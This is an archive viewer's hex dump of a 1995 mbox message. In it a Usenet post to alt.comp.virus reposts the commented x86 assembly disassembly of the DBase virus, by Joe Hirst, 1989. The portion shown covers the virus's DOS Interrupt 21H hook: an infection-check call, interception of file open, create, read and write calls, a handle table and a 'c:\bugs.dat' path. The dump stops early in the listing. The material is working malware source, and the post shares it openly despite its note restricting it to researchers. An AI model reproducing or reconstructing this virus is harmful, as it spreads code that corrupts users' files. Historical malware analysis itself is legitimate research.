home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / DBASE.ASM < prev    next >
Mailbox/MIME Entity  |  1995-10-29  |  22.9 KB

open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: DBASE.ASM

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
100% dexvert Assembly Source File (text/asm) magic Supported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From smtp Tue Feb 7 13:23 EST 1995" default
99% file data default
100% TrID E-Mail message (Var. 2) default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[LF] default (weak)
100% xdgMime application/mbox default



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 73 6d 74 | 70 20 54 75 65 20 46 65 |From smt|p Tue Fe|
|00000010| 62 20 20 37 20 31 33 3a | 32 33 20 45 53 54 20 31 |b 7 13:|23 EST 1|
|00000020| 39 39 35 0a 52 65 63 65 | 69 76 65 64 3a 20 66 72 |995.Rece|ived: fr|
|00000030| 6f 6d 20 6c 79 6e 78 2e | 64 61 63 2e 6e 65 75 2e |om lynx.|dac.neu.|
|00000040| 65 64 75 20 62 79 20 50 | 4f 42 4f 58 2e 6a 77 75 |edu by P|OBOX.jwu|
|00000050| 2e 65 64 75 3b 20 54 75 | 65 2c 20 20 37 20 46 65 |.edu; Tu|e, 7 Fe|
|00000060| 62 20 39 35 20 31 33 3a | 32 33 20 45 53 54 0a 52 |b 95 13:|23 EST.R|
|00000070| 65 63 65 69 76 65 64 3a | 20 62 79 20 6c 79 6e 78 |eceived:| by lynx|
|00000080| 2e 64 61 63 2e 6e 65 75 | 2e 65 64 75 20 28 38 2e |.dac.neu|.edu (8.|
|00000090| 36 2e 39 2f 38 2e 36 2e | 39 29 20 0a 20 20 20 20 |6.9/8.6.|9) . |
|000000a0| 20 69 64 20 4e 41 41 32 | 36 30 33 32 20 66 6f 72 | id NAA2|6032 for|
|000000b0| 20 6a 6f 73 68 75 61 77 | 40 70 6f 62 6f 78 2e 6a | joshuaw|@pobox.j|
|000000c0| 77 75 2e 65 64 75 3b 20 | 54 75 65 2c 20 37 20 46 |wu.edu; |Tue, 7 F|
|000000d0| 65 62 20 31 39 39 35 20 | 31 33 3a 31 37 3a 35 38 |eb 1995 |13:17:58|
|000000e0| 20 2d 30 35 30 30 0a 44 | 61 74 65 3a 20 54 75 65 | -0500.D|ate: Tue|
|000000f0| 2c 20 37 20 46 65 62 20 | 31 39 39 35 20 31 33 3a |, 7 Feb |1995 13:|
|00000100| 31 37 3a 35 38 20 2d 30 | 35 30 30 0a 46 72 6f 6d |17:58 -0|500.From|
|00000110| 3a 20 6c 79 6e 78 2e 64 | 61 63 2e 6e 65 75 2e 65 |: lynx.d|ac.neu.e|
|00000120| 64 75 21 65 6b 69 6c 62 | 79 20 28 45 72 69 63 20 |du!ekilb|y (Eric |
|00000130| 4b 69 6c 62 79 29 0a 43 | 6f 6e 74 65 6e 74 2d 4c |Kilby).C|ontent-L|
|00000140| 65 6e 67 74 68 3a 20 32 | 32 39 37 36 0a 43 6f 6e |ength: 2|2976.Con|
|00000150| 74 65 6e 74 2d 54 79 70 | 65 3a 20 62 69 6e 61 72 |tent-Typ|e: binar|
|00000160| 79 0a 4d 65 73 73 61 67 | 65 2d 49 64 3a 20 3c 31 |y.Messag|e-Id: <1|
|00000170| 39 39 35 30 32 30 37 31 | 38 31 37 2e 4e 41 41 32 |99502071|817.NAA2|
|00000180| 36 30 33 32 40 6c 79 6e | 78 2e 64 61 63 2e 6e 65 |6032@lyn|x.dac.ne|
|00000190| 75 2e 65 64 75 3e 0a 54 | 6f 3a 20 70 6f 62 6f 78 |u.edu>.T|o: pobox|
|000001a0| 2e 6a 77 75 2e 65 64 75 | 21 6a 6f 73 68 75 61 77 |.jwu.edu|!joshuaw|
|000001b0| 20 0a 53 75 62 6a 65 63 | 74 3a 20 28 66 77 64 29 | .Subjec|t: (fwd)|
|000001c0| 20 44 42 61 73 65 0a 4e | 65 77 73 67 72 6f 75 70 | DBase.N|ewsgroup|
|000001d0| 73 3a 20 61 6c 74 2e 63 | 6f 6d 70 2e 76 69 72 75 |s: alt.c|omp.viru|
|000001e0| 73 0a 53 74 61 74 75 73 | 3a 20 4f 0a 0a 50 61 74 |s.Status|: O..Pat|
|000001f0| 68 3a 20 63 68 61 6f 73 | 2e 64 61 63 2e 6e 65 75 |h: chaos|.dac.neu|
|00000200| 2e 65 64 75 21 75 73 65 | 6e 65 74 2e 65 65 6c 2e |.edu!use|net.eel.|
|00000210| 75 66 6c 2e 65 64 75 21 | 6e 65 77 73 2e 62 6c 75 |ufl.edu!|news.blu|
|00000220| 65 73 6b 79 2e 6e 65 74 | 21 73 6f 6c 61 72 69 73 |esky.net|!solaris|
|00000230| 2e 63 63 2e 76 74 2e 65 | 64 75 21 75 75 6e 65 74 |.cc.vt.e|du!uunet|
|00000240| 21 61 6e 6b 68 2e 69 69 | 61 2e 6f 72 67 21 64 61 |!ankh.ii|a.org!da|
|00000250| 6e 69 73 68 6d 0a 46 72 | 6f 6d 3a 20 64 61 6e 69 |nishm.Fr|om: dani|
|00000260| 73 68 6d 40 69 69 61 2e | 6f 72 67 20 28 29 0a 4e |shm@iia.|org ().N|
|00000270| 65 77 73 67 72 6f 75 70 | 73 3a 20 61 6c 74 2e 63 |ewsgroup|s: alt.c|
|00000280| 6f 6d 70 2e 76 69 72 75 | 73 0a 53 75 62 6a 65 63 |omp.viru|s.Subjec|
|00000290| 74 3a 20 44 42 61 73 65 | 0a 44 61 74 65 3a 20 35 |t: DBase|.Date: 5|
|000002a0| 20 46 65 62 20 31 39 39 | 35 20 32 31 3a 35 36 3a | Feb 199|5 21:56:|
|000002b0| 34 33 20 47 4d 54 0a 4f | 72 67 61 6e 69 7a 61 74 |43 GMT.O|rganizat|
|000002c0| 69 6f 6e 3a 20 49 6e 74 | 65 72 6e 61 74 69 6f 6e |ion: Int|ernation|
|000002d0| 61 6c 20 49 6e 74 65 72 | 6e 65 74 20 41 73 73 6f |al Inter|net Asso|
|000002e0| 63 69 61 74 69 6f 6e 2e | 0a 4c 69 6e 65 73 3a 20 |ciation.|.Lines: |
|000002f0| 31 30 33 31 0a 4d 65 73 | 73 61 67 65 2d 49 44 3a |1031.Mes|sage-ID:|
|00000300| 20 3c 33 68 33 68 69 72 | 24 73 62 40 61 6e 6b 68 | <3h3hir|$sb@ankh|
|00000310| 2e 69 69 61 2e 6f 72 67 | 3e 0a 4e 4e 54 50 2d 50 |.iia.org|>.NNTP-P|
|00000320| 6f 73 74 69 6e 67 2d 48 | 6f 73 74 3a 20 69 69 61 |osting-H|ost: iia|
|00000330| 2e 6f 72 67 0a 58 2d 4e | 65 77 73 72 65 61 64 65 |.org.X-N|ewsreade|
|00000340| 72 3a 20 54 49 4e 20 5b | 76 65 72 73 69 6f 6e 20 |r: TIN [|version |
|00000350| 31 2e 32 20 50 4c 32 5d | 0a 0a 48 65 72 65 20 69 |1.2 PL2]|..Here i|
|00000360| 73 20 74 68 65 20 44 42 | 61 73 65 20 76 69 72 75 |s the DB|ase viru|
|00000370| 73 3a 0a 0a 09 70 61 67 | 65 09 36 35 2c 31 33 32 |s:...pag|e.65,132|
|00000380| 0a 09 74 69 74 6c 65 09 | 54 68 65 20 27 44 62 61 |..title.|The 'Dba|
|00000390| 73 65 27 20 56 69 72 75 | 73 0a 3b 20 c9 cd cd cd |se' Viru|s.; ....|
|000003a0| cd cd cd cd cd cd cd cd | cd cd cd cd cd cd cd cd |........|........|
|000003b0| cd cd cd cd cd cd cd cd | cd cd cd cd cd cd cd cd |........|........|
|000003c0| cd cd cd cd cd cd cd cd | cd cd cd cd cd cd cd cd |........|........|
|000003d0| cd cd cd cd cd cd cd cd | cd cd cd cd cd cd cd cd |........|........|
|000003e0| cd cd cd cd cd cd cd bb | 0a 3b 20 ba 20 20 20 20 |........|.; . |
|000003f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 42 72 69 | | Bri|
|00000400| 74 69 73 68 20 43 6f 6d | 70 75 74 65 72 20 56 69 |tish Com|puter Vi|
|00000410| 72 75 73 20 52 65 73 65 | 61 72 63 68 20 43 65 6e |rus Rese|arch Cen|
|00000420| 74 72 65 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |tre | |
|00000430| 20 20 20 20 20 20 ba 0a | 3b 20 ba 20 20 31 32 20 | ..|; . 12 |
|00000440| 47 75 69 6c 64 66 6f 72 | 64 20 53 74 72 65 65 74 |Guildfor|d Street|
|00000450| 2c 20 20 20 42 72 69 67 | 68 74 6f 6e 2c 20 20 20 |, Brig|hton, |
|00000460| 45 61 73 74 20 53 75 73 | 73 65 78 2c 20 20 20 42 |East Sus|sex, B|
|00000470| 4e 31 20 33 4c 53 2c 20 | 20 20 45 6e 67 6c 61 6e |N1 3LS, | Englan|
|00000480| 64 20 20 20 20 ba 0a 3b | 20 ba 20 20 54 65 6c 65 |d ..;| . Tele|
|00000490| 70 68 6f 6e 65 3a 20 20 | 20 20 20 44 6f 6d 65 73 |phone: | Domes|
|000004a0| 74 69 63 20 20 20 30 32 | 37 33 2d 32 36 31 30 35 |tic 02|73-26105|
|000004b0| 2c 20 20 20 49 6e 74 65 | 72 6e 61 74 69 6f 6e 61 |, Inte|rnationa|
|000004c0| 6c 20 20 2b 34 34 2d 32 | 37 33 2d 32 36 31 30 35 |l +44-2|73-26105|
|000004d0| 20 20 20 20 ba 0a 3b 20 | ba 20 20 20 20 20 20 20 | ..; |. |
|000004e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000004f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000500| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000520| 20 20 20 ba 0a 3b 20 ba | 20 20 20 20 20 20 20 20 | ..; .| |
|00000530| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000540| 20 20 20 54 68 65 20 27 | 44 62 61 73 65 27 20 56 | The '|Dbase' V|
|00000550| 69 72 75 73 20 20 20 20 | 20 20 20 20 20 20 20 20 |irus | |
|00000560| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000570| 20 20 ba 0a 3b 20 ba 20 | 20 20 20 20 20 20 20 20 | ..; . | |
|00000580| 20 20 20 20 20 20 20 44 | 69 73 61 73 73 65 6d 62 | D|isassemb|
|00000590| 6c 65 64 20 62 79 20 4a | 6f 65 20 48 69 72 73 74 |led by J|oe Hirst|
|000005a0| 2c 20 20 20 20 20 20 4f | 63 74 6f 62 65 72 20 31 |, O|ctober 1|
|000005b0| 39 38 39 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |989 | |
|000005c0| 20 ba 0a 3b 20 ba 20 20 | 20 20 20 20 20 20 20 20 | ..; . | |
|000005d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000005e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000005f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000600| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000610| ba 0a 3b 20 ba 20 20 20 | 20 20 20 20 20 20 20 20 |..; . | |
|00000620| 20 20 20 20 20 20 20 20 | 20 20 20 43 6f 70 79 72 | | Copyr|
|00000630| 69 67 68 74 20 28 63 29 | 20 4a 6f 65 20 48 69 72 |ight (c)| Joe Hir|
|00000640| 73 74 20 31 39 38 39 2e | 20 20 20 20 20 20 20 20 |st 1989.| |
|00000650| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 ba | | .|
|00000660| 0a 3b 20 ba 20 20 20 20 | 20 20 20 20 20 20 20 20 |.; . | |
|00000670| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000680| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000690| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000006a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 ba 0a | | ..|
|000006b0| 3b 20 ba 20 20 20 20 20 | 20 54 68 69 73 20 6c 69 |; . | This li|
|000006c0| 73 74 69 6e 67 20 69 73 | 20 6f 6e 6c 79 20 74 6f |sting is| only to|
|000006d0| 20 62 65 20 6d 61 64 65 | 20 61 76 61 69 6c 61 62 | be made| availab|
|000006e0| 6c 65 20 74 6f 20 76 69 | 72 75 73 20 72 65 73 65 |le to vi|rus rese|
|000006f0| 61 72 63 68 65 72 73 20 | 20 20 20 20 20 ba 0a 3b |archers | ..;|
|00000700| 20 ba 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | . | |
|00000710| 20 20 6f 72 20 73 6f 66 | 74 77 61 72 65 20 77 72 | or sof|tware wr|
|00000720| 69 74 65 72 73 20 6f 6e | 20 61 20 6e 65 65 64 2d |iters on| a need-|
|00000730| 74 6f 2d 6b 6e 6f 77 20 | 62 61 73 69 73 2e 20 20 |to-know |basis. |
|00000740| 20 20 20 20 20 20 20 20 | 20 20 20 20 ba 0a 3b 20 | | ..; |
|00000750| c8 cd cd cd cd cd cd cd | cd cd cd cd cd cd cd cd |........|........|
|00000760| cd cd cd cd cd cd cd cd | cd cd cd cd cd cd cd cd |........|........|
|00000770| cd cd cd cd cd cd cd cd | cd cd cd cd cd cd cd cd |........|........|
|00000780| cd cd cd cd cd cd cd cd | cd cd cd cd cd cd cd cd |........|........|
|00000790| cd cd cd cd cd cd cd cd | cd cd cd bc 0a 0a 4d 43 |........|......MC|
|000007a0| 42 09 53 45 47 4d 45 4e | 54 20 41 54 20 30 0a 0a |B.SEGMEN|T AT 0..|
|000007b0| 49 44 45 4e 54 09 44 42 | 09 3f 0a 4f 57 4e 45 52 |IDENT.DB|.?.OWNER|
|000007c0| 09 44 57 09 3f 0a 4d 45 | 4d 53 49 5a 45 09 44 57 |.DW.?.ME|MSIZE.DW|
|000007d0| 09 3f 0a 0a 4d 43 42 09 | 45 4e 44 53 0a 0a 43 4f |.?..MCB.|ENDS..CO|
|000007e0| 44 45 09 53 45 47 4d 45 | 4e 54 20 42 59 54 45 20 |DE.SEGME|NT BYTE |
|000007f0| 50 55 42 4c 49 43 20 27 | 43 4f 44 45 27 0a 0a 09 |PUBLIC '|CODE'...|
|00000800| 41 53 53 55 4d 45 09 43 | 53 3a 43 4f 44 45 2c 44 |ASSUME.C|S:CODE,D|
|00000810| 53 3a 4e 4f 54 48 49 4e | 47 0a 0a 09 3b 20 49 6e |S:NOTHIN|G...; In|
|00000820| 74 65 72 72 75 70 74 20 | 32 31 48 20 72 6f 75 74 |terrupt |21H rout|
|00000830| 69 6e 65 0a 0a 42 50 30 | 30 30 30 3a 09 50 55 53 |ine..BP0|000:.PUS|
|00000840| 48 46 0a 09 43 4d 50 09 | 41 58 2c 30 46 42 30 41 |HF..CMP.|AX,0FB0A|
|00000850| 48 09 09 3b 20 49 6e 66 | 65 63 74 69 6f 6e 20 74 |H..; Inf|ection t|
|00000860| 65 73 74 20 66 75 6e 63 | 74 69 6f 6e 3f 0a 09 4a |est func|tion?..J|
|00000870| 4e 45 09 42 50 30 30 31 | 30 09 09 09 3b 20 42 72 |NE.BP001|0...; Br|
|00000880| 61 6e 63 68 20 69 66 20 | 6e 6f 74 0a 09 58 43 48 |anch if |not..XCH|
|00000890| 47 09 41 48 2c 41 4c 09 | 09 09 3b 20 53 77 61 70 |G.AH,AL.|..; Swap|
|000008a0| 20 62 79 74 65 73 0a 09 | 50 4f 50 46 0a 09 49 52 | bytes..|POPF..IR|
|000008b0| 45 54 0a 0a 09 3b 20 42 | 72 61 6e 63 68 20 74 6f |ET...; B|ranch to|
|000008c0| 20 6f 70 65 6e 20 66 69 | 6c 65 20 66 75 6e 63 74 | open fi|le funct|
|000008d0| 69 6f 6e 0a 0a 42 50 30 | 30 30 41 3a 09 4a 4d 50 |ion..BP0|00A:.JMP|
|000008e0| 09 42 50 30 36 44 42 0a | 0a 09 3b 20 42 72 61 6e |.BP06DB.|..; Bran|
|000008f0| 63 68 20 74 6f 20 6e 65 | 77 20 66 69 6c 65 20 66 |ch to ne|w file f|
|00000900| 75 6e 63 74 69 6f 6e 73 | 0a 0a 42 50 30 30 30 44 |unctions|..BP000D|
|00000910| 3a 09 4a 4d 50 09 42 50 | 30 33 39 31 0a 0a 42 50 |:.JMP.BP|0391..BP|
|00000920| 30 30 31 30 3a 09 43 4d | 50 09 44 49 2c 30 46 42 |0010:.CM|P.DI,0FB|
|00000930| 30 41 48 09 09 3b 20 41 | 6c 6c 6f 77 20 66 72 65 |0AH..; A|llow fre|
|00000940| 65 20 70 61 73 73 61 67 | 65 3f 0a 09 4a 45 09 42 |e passag|e?..JE.B|
|00000950| 50 30 30 34 34 09 09 09 | 3b 20 42 72 61 6e 63 68 |P0044...|; Branch|
|00000960| 20 69 66 20 79 65 73 0a | 09 43 4d 50 09 41 58 2c | if yes.|.CMP.AX,|
|00000970| 34 42 30 30 48 09 09 3b | 20 4c 6f 61 64 20 61 6e |4B00H..;| Load an|
|00000980| 64 20 65 78 65 63 75 74 | 65 20 66 75 6e 63 74 69 |d execut|e functi|
|00000990| 6f 6e 3f 0a 09 4a 4e 45 | 09 42 50 30 30 31 45 09 |on?..JNE|.BP001E.|
|000009a0| 09 09 3b 20 42 72 61 6e | 63 68 20 69 66 20 6e 6f |..; Bran|ch if no|
|000009b0| 74 0a 09 4a 4d 50 09 42 | 50 30 34 39 30 0a 0a 42 |t..JMP.B|P0490..B|
|000009c0| 50 30 30 31 45 3a 09 43 | 4d 50 09 41 48 2c 36 43 |P001E:.C|MP.AH,6C|
|000009d0| 48 09 09 09 3b 20 45 78 | 74 65 6e 64 65 64 20 6f |H...; Ex|tended o|
|000009e0| 70 65 6e 2f 63 72 65 61 | 74 65 20 66 75 6e 63 74 |pen/crea|te funct|
|000009f0| 69 6f 6e 3f 0a 09 4a 45 | 09 42 50 30 30 30 44 09 |ion?..JE|.BP000D.|
|00000a00| 09 09 3b 20 42 72 61 6e | 63 68 20 69 66 20 79 65 |..; Bran|ch if ye|
|00000a10| 73 0a 09 43 4d 50 09 41 | 48 2c 35 42 48 09 09 09 |s..CMP.A|H,5BH...|
|00000a20| 3b 20 43 72 65 61 74 65 | 20 6e 65 77 20 66 69 6c |; Create| new fil|
|00000a30| 65 20 66 75 6e 63 74 69 | 6f 6e 3f 0a 09 4a 45 09 |e functi|on?..JE.|
|00000a40| 42 50 30 30 30 44 09 09 | 09 3b 20 42 72 61 6e 63 |BP000D..|.; Branc|
|00000a50| 68 20 69 66 20 79 65 73 | 0a 09 43 4d 50 09 41 48 |h if yes|..CMP.AH|
|00000a60| 2c 33 43 48 09 09 09 3b | 20 43 72 65 61 74 65 20 |,3CH...;| Create |
|00000a70| 68 61 6e 64 6c 65 20 66 | 75 6e 63 74 69 6f 6e 3f |handle f|unction?|
|00000a80| 0a 09 4a 45 09 42 50 30 | 30 30 44 09 09 09 3b 20 |..JE.BP0|00D...; |
|00000a90| 42 72 61 6e 63 68 20 69 | 66 20 79 65 73 0a 09 43 |Branch i|f yes..C|
|00000aa0| 4d 50 09 41 48 2c 33 44 | 48 09 09 09 3b 20 4f 70 |MP.AH,3D|H...; Op|
|00000ab0| 65 6e 20 68 61 6e 64 6c | 65 20 66 75 6e 63 74 69 |en handl|e functi|
|00000ac0| 6f 6e 3f 0a 09 4a 45 09 | 42 50 30 30 30 41 09 09 |on?..JE.|BP000A..|
|00000ad0| 09 3b 20 42 72 61 6e 63 | 68 20 69 66 20 79 65 73 |.; Branc|h if yes|
|00000ae0| 0a 09 43 4d 50 09 41 48 | 2c 33 46 48 09 09 09 3b |..CMP.AH|,3FH...;|
|00000af0| 20 52 65 61 64 20 68 61 | 6e 64 6c 65 20 66 75 6e | Read ha|ndle fun|
|00000b00| 63 74 69 6f 6e 3f 0a 09 | 4a 45 09 42 50 30 30 34 |ction?..|JE.BP004|
|00000b10| 41 09 09 09 3b 20 42 72 | 61 6e 63 68 20 69 66 20 |A...; Br|anch if |
|00000b20| 79 65 73 0a 09 43 4d 50 | 09 41 48 2c 34 30 48 09 |yes..CMP|.AH,40H.|
|00000b30| 09 09 3b 20 57 72 69 74 | 65 20 68 61 6e 64 6c 65 |..; Writ|e handle|
|00000b40| 20 66 75 6e 63 74 69 6f | 6e 3f 0a 09 4a 45 09 42 | functio|n?..JE.B|
|00000b50| 50 30 30 34 44 09 09 09 | 3b 20 42 72 61 6e 63 68 |P004D...|; Branch|
|00000b60| 20 69 66 20 79 65 73 0a | 09 43 4d 50 09 41 48 2c | if yes.|.CMP.AH,|
|00000b70| 33 45 48 09 09 09 3b 20 | 43 6c 6f 73 65 20 68 61 |3EH...; |Close ha|
|00000b80| 6e 64 6c 65 20 66 75 6e | 63 74 69 6f 6e 3f 0a 09 |ndle fun|ction?..|
|00000b90| 4a 4e 45 09 42 50 30 30 | 34 34 09 09 09 3b 20 42 |JNE.BP00|44...; B|
|00000ba0| 72 61 6e 63 68 20 69 66 | 20 6e 6f 74 0a 09 4a 4d |ranch if| not..JM|
|00000bb0| 50 09 42 50 30 33 34 30 | 0a 0a 09 3b 20 50 61 73 |P.BP0340|...; Pas|
|00000bc0| 73 20 6f 6e 20 74 6f 20 | 49 6e 74 20 32 31 48 0a |s on to |Int 21H.|
|00000bd0| 0a 42 50 30 30 34 34 3a | 09 50 4f 50 46 0a 09 44 |.BP0044:|.POPF..D|
|00000be0| 42 09 30 45 41 48 09 09 | 09 3b 20 46 61 72 20 6a |B.0EAH..|.; Far j|
|00000bf0| 75 6d 70 0a 44 57 30 30 | 34 36 09 44 57 09 30 09 |ump.DW00|46.DW.0.|
|00000c00| 09 09 3b 20 49 6e 74 20 | 32 31 48 20 6f 66 66 73 |..; Int |21H offs|
|00000c10| 65 74 0a 44 57 30 30 34 | 38 09 44 57 09 30 09 09 |et.DW004|8.DW.0..|
|00000c20| 09 3b 20 49 6e 74 20 32 | 31 48 20 73 65 67 6d 65 |.; Int 2|1H segme|
|00000c30| 6e 74 0a 0a 09 3b 20 42 | 72 61 6e 63 68 20 74 6f |nt...; B|ranch to|
|00000c40| 20 72 65 61 64 20 66 69 | 6c 65 20 66 75 6e 63 74 | read fi|le funct|
|00000c50| 69 6f 6e 0a 0a 42 50 30 | 30 34 41 3a 09 4a 4d 50 |ion..BP0|04A:.JMP|
|00000c60| 09 42 50 30 30 43 38 0a | 0a 09 3b 20 42 72 61 6e |.BP00C8.|..; Bran|
|00000c70| 63 68 20 74 6f 20 77 72 | 69 74 65 20 66 69 6c 65 |ch to wr|ite file|
|00000c80| 20 66 75 6e 63 74 69 6f | 6e 0a 0a 42 50 30 30 34 | functio|n..BP004|
|00000c90| 44 3a 09 4a 4d 50 09 42 | 50 30 31 35 46 0a 0a 09 |D:.JMP.B|P015F...|
|00000ca0| 4a 4d 50 09 42 50 30 34 | 41 37 0a 0a 44 42 30 30 |JMP.BP04|A7..DB00|
|00000cb0| 35 33 09 44 42 09 27 63 | 3a 5c 62 75 67 73 2e 64 |53.DB.'c|:\bugs.d|
|00000cc0| 61 74 27 2c 20 30 09 3b | 20 46 69 6c 65 20 70 61 |at', 0.;| File pa|
|00000cd0| 74 68 6e 61 6d 65 0a 09 | 44 42 09 34 45 48 20 44 |thname..|DB.4EH D|
|00000ce0| 55 50 20 28 30 29 2c 20 | 30 46 46 48 09 3b 20 52 |UP (0), |0FFH.; R|
|00000cf0| 65 61 64 20 62 75 66 66 | 65 72 0a 44 57 30 30 41 |ead buff|er.DW00A|
|00000d00| 45 09 44 57 09 30 0a 44 | 42 30 30 42 30 09 44 42 |E.DW.0.D|B00B0.DB|
|00000d10| 09 31 34 48 20 44 55 50 | 20 28 30 29 09 09 3b 20 |.14H DUP| (0)..; |
|00000d20| 54 61 62 6c 65 20 6f 66 | 20 66 69 6c 65 20 68 61 |Table of| file ha|
|00000d30| 6e 64 6c 65 73 0a 44 57 | 30 30 43 34 09 44 57 09 |ndles.DW|00C4.DW.|
|00000d40| 30 2c 20 30 0a 0a 09 3b | 20 52 65 61 64 20 66 69 |0, 0...;| Read fi|
|00000d50| 6c 65 20 66 75 6e 63 74 | 69 6f 6e 0a 0a 42 50 30 |le funct|ion..BP0|
|00000d60| 30 43 38 3a 09 50 55 53 | 48 09 44 49 0a 09 43 41 |0C8:.PUS|H.DI..CA|
|00000d70| 4c 4c 09 42 50 30 30 43 | 43 09 09 09 3b 20 5c 20 |LL.BP00C|C...; \ |
|00000d80| 47 65 74 20 63 75 72 72 | 65 6e 74 20 61 64 64 72 |Get curr|ent addr|
|00000d90| 65 73 73 0a 42 50 30 30 | 43 43 3a 09 50 4f 50 09 |ess.BP00|CC:.POP.|
|00000da0| 44 49 09 09 09 3b 20 2f | 0a 09 53 55 42 09 44 49 |DI...; /|..SUB.DI|
|00000db0| 2c 31 43 48 09 09 09 3b | 20 41 64 64 72 65 73 73 |,1CH...;| Address|
|00000dc0| 20 74 61 62 6c 65 20 6f | 66 20 66 69 6c 65 20 68 | table o|f file h|
|00000dd0| 61 6e 64 6c 65 73 0a 42 | 50 30 30 44 30 3a 09 43 |andles.B|P00D0:.C|
|00000de0| 4d 50 09 42 59 54 45 20 | 50 54 52 20 43 53 3a 5b |MP.BYTE |PTR CS:[|
|00000df0| 44 49 5d 2c 30 09 3b 20 | 45 6e 64 20 6f 66 20 74 |DI],0.; |End of t|
|00000e00| 61 62 6c 65 3f 0a 09 4a | 45 09 42 50 30 30 44 45 |able?..J|E.BP00DE|
|00000e10| 09 09 09 3b 20 42 72 61 | 6e 63 68 20 69 66 20 79 |...; Bra|nch if y|
|00000e20| 65 73 0a 09 43 4d 50 09 | 43 53 3a 5b 44 49 5d 2c |es..CMP.|CS:[DI],|
|00000e30| 42 4c 09 09 3b 20 49 73 | 20 74 68 69 73 20 74 68 |BL..; Is| this th|
|00000e40| 65 20 66 69 6c 65 20 68 | 61 6e 64 6c 65 0a 09 4a |e file h|andle..J|
|00000e50| 45 09 42 50 30 30 45 32 | 09 09 09 3b 20 42 72 61 |E.BP00E2|...; Bra|
|00000e60| 6e 63 68 20 69 66 20 79 | 65 73 0a 09 49 4e 43 09 |nch if y|es..INC.|
|00000e70| 44 49 09 09 09 3b 20 4e | 65 78 74 20 65 6e 74 72 |DI...; N|ext entr|
|00000e80| 79 0a 09 4a 4d 50 09 42 | 50 30 30 44 30 0a 0a 42 |y..JMP.B|P00D0..B|
|00000e90| 50 30 30 44 45 3a 09 50 | 4f 50 09 44 49 0a 09 4a |P00DE:.P|OP.DI..J|
|00000ea0| 4d 50 09 42 50 30 30 34 | 34 09 09 09 3b 20 50 61 |MP.BP004|4...; Pa|
|00000eb0| 73 73 20 6f 6e 20 74 6f | 20 49 6e 74 20 32 31 48 |ss on to| Int 21H|
|00000ec0| 0a 0a 42 50 30 30 45 32 | 3a 09 50 4f 50 09 44 49 |..BP00E2|:.POP.DI|
|00000ed0| 0a 09 50 4f 50 46 0a 09 | 50 55 53 48 09 43 58 0a |..POPF..|PUSH.CX.|
|00000ee0| 09 50 55 53 48 09 41 58 | 0a 09 50 55 53 48 09 44 |.PUSH.AX|..PUSH.D|
|00000ef0| 58 0a 09 4d 4f 56 09 41 | 58 2c 34 32 30 31 48 09 |X..MOV.A|X,4201H.|
|00000f00| 09 3b 20 4d 6f 76 65 20 | 66 69 6c 65 20 70 6f 69 |.; Move |file poi|
|00000f10| 6e 74 65 72 20 28 63 75 | 72 72 65 6e 74 29 20 66 |nter (cu|rrent) f|
|00000f20| 75 6e 63 74 69 6f 6e 0a | 09 58 4f 52 09 43 58 2c |unction.|.XOR.CX,|
|00000f30| 43 58 09 09 09 3b 20 5c | 20 4e 6f 20 6f 66 66 73 |CX...; \| No offs|
|00000f40| 65 74 0a 09 58 4f 52 09 | 44 58 2c 44 58 09 09 09 |et..XOR.|DX,DX...|
|00000f50| 3b 20 2f 0a 09 49 4e 54 | 09 32 31 48 09 09 09 3b |; /..INT|.21H...;|
|00000f60| 20 44 4f 53 20 73 65 72 | 76 69 63 65 0a 09 54 45 | DOS ser|vice..TE|
|00000f70| 53 54 09 41 58 2c 31 09 | 09 09 3b 20 49 73 20 6c |ST.AX,1.|..; Is l|
|00000f80| 6f 63 61 74 69 6f 6e 20 | 6f 64 64 20 6e 75 6d 62 |ocation |odd numb|
|00000f90| 65 72 20 62 79 74 65 3f | 0a 09 4a 5a 09 42 50 30 |er byte?|..JZ.BP0|
|00000fa0| 31 32 41 09 09 09 3b 20 | 42 72 61 6e 63 68 20 69 |12A...; |Branch i|
|00000fb0| 66 20 6e 6f 74 0a 09 4d | 4f 56 09 41 58 2c 34 32 |f not..M|OV.AX,42|
|00000fc0| 30 31 48 09 09 3b 20 4d | 6f 76 65 20 66 69 6c 65 |01H..; M|ove file|
|00000fd0| 20 70 6f 69 6e 74 65 72 | 20 28 63 75 72 72 65 6e | pointer| (curren|
|00000fe0| 74 29 20 66 75 6e 63 74 | 69 6f 6e 0a 09 4d 4f 56 |t) funct|ion..MOV|
|00000ff0| 09 43 58 2c 2d 31 09 09 | 09 3b 20 5c 20 42 61 63 |.CX,-1..|.; \ Bac|
